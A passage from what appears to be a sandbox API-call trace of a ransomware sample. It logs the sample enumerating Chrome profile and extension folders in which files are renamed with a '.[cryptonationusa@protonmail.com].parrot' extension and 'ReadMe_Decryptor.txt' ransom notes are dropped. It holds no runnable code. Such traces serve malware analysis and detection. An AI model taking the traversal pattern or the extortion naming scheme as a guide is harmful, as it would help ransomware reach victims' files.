lpNewFilePointer=0xffffffff) returned 0 [0096.858] CloseHandle (hObject=0x270) returned 1 [0096.858] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x824ad030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0096.858] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0f20e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="LOG_CR~1.PAR")) returned 1 [0096.858] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0096.858] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0096.858] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.859] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.859] CloseHandle (hObject=0x270) returned 1 [0096.859] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae26eea0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MANIFE~1.PAR")) returned 1 [0096.859] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.859] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.860] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.860] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.860] CloseHandle (hObject=0x270) returned 1 [0096.860] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xae0cbf80, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xae0cbf80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xae295000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.860] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.860] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.861] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0096.861] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xae26eea0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xae26eea0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.861] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82556720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0cbf80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="000003~1.PAR")) returned 1 [0096.861] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.861] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.861] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0096.861] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.861] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.861] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.861] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.861] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aapocclcgogkmnckokdopfmhonfmgoek", cAlternateFileName="AAPOCC~1")) returned 1 [0096.861] lstrcmpW (lpString1="aapocclcgogkmnckokdopfmhonfmgoek", lpString2=".") returned 1 [0096.861] lstrcmpW (lpString1="aapocclcgogkmnckokdopfmhonfmgoek", lpString2="..") returned 1 [0096.861] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba28 [0096.861] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x69b320 [0096.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x3188c20 [0096.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69b320 | out: hHeap=0x5b0000) returned 1 [0096.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eba28 | out: hHeap=0x5b0000) returned 1 [0096.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x668890 [0096.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.862] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0096.862] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.862] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.863] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.863] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.863] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf06afe0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf06afe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 1 [0096.863] lstrcmpW (lpString1="0.9_0", lpString2=".") returned 1 [0096.863] lstrcmpW (lpString1="0.9_0", lpString2="..") returned 1 [0096.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x652b78 [0096.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x652a70 [0096.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.863] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0096.863] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.863] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf06afe0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf06afe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.864] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.864] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.864] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaea9da40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xe48, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_128.png.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ICON_1~1.PAR")) returned 1 [0096.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.864] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.864] ReadFile (in: hFile=0x268, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0096.865] CloseHandle (hObject=0x268) returned 1 [0096.865] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeac3ba0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_16.png.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ICON_1~2.PAR")) returned 1 [0096.865] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.865] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.865] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.865] ReadFile (in: hFile=0x268, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0096.866] CloseHandle (hObject=0x268) returned 1 [0096.866] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b74730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeec80c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x178, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.html.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MAINHT~1.PAR")) returned 1 [0096.866] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.866] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.866] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.866] ReadFile (in: hFile=0x268, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0096.867] CloseHandle (hObject=0x268) returned 1 [0096.867] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b9b830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeeee220, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x178, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.js.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MAINJS~1.PAR")) returned 1 [0096.867] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0096.867] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0096.867] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.867] ReadFile (in: hFile=0x268, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0096.868] CloseHandle (hObject=0x268) returned 1 [0096.868] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b9b830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaf06afe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MANIFE~1.PAR")) returned 1 [0096.868] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.868] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.868] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.868] ReadFile (in: hFile=0x268, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0096.869] CloseHandle (hObject=0x268) returned 1 [0096.869] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaea9da40, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaea9da40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf091140, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.869] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0096.869] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.869] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.871] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.871] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.871] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf3fd0e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf3fd0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0096.871] lstrcmpW (lpString1="ar", lpString2=".") returned 1 [0096.871] lstrcmpW (lpString1="ar", lpString2="..") returned 1 [0096.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x3188e50 [0096.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x31603b8 [0096.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3188e50 | out: hHeap=0x5b0000) returned 1 [0096.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x221a418 [0096.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.871] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.871] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.871] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf3fd0e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf3fd0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.872] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.872] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.872] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaf3fd0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.872] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.872] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.873] CloseHandle (hObject=0x274) returned 1 [0096.873] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf3fd0e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf3fd0e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf507a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.873] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.873] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.873] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.873] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf3fd0e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf3fd0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.874] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaf3fd0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.874] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.874] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.874] FindFirstFileExW (in: 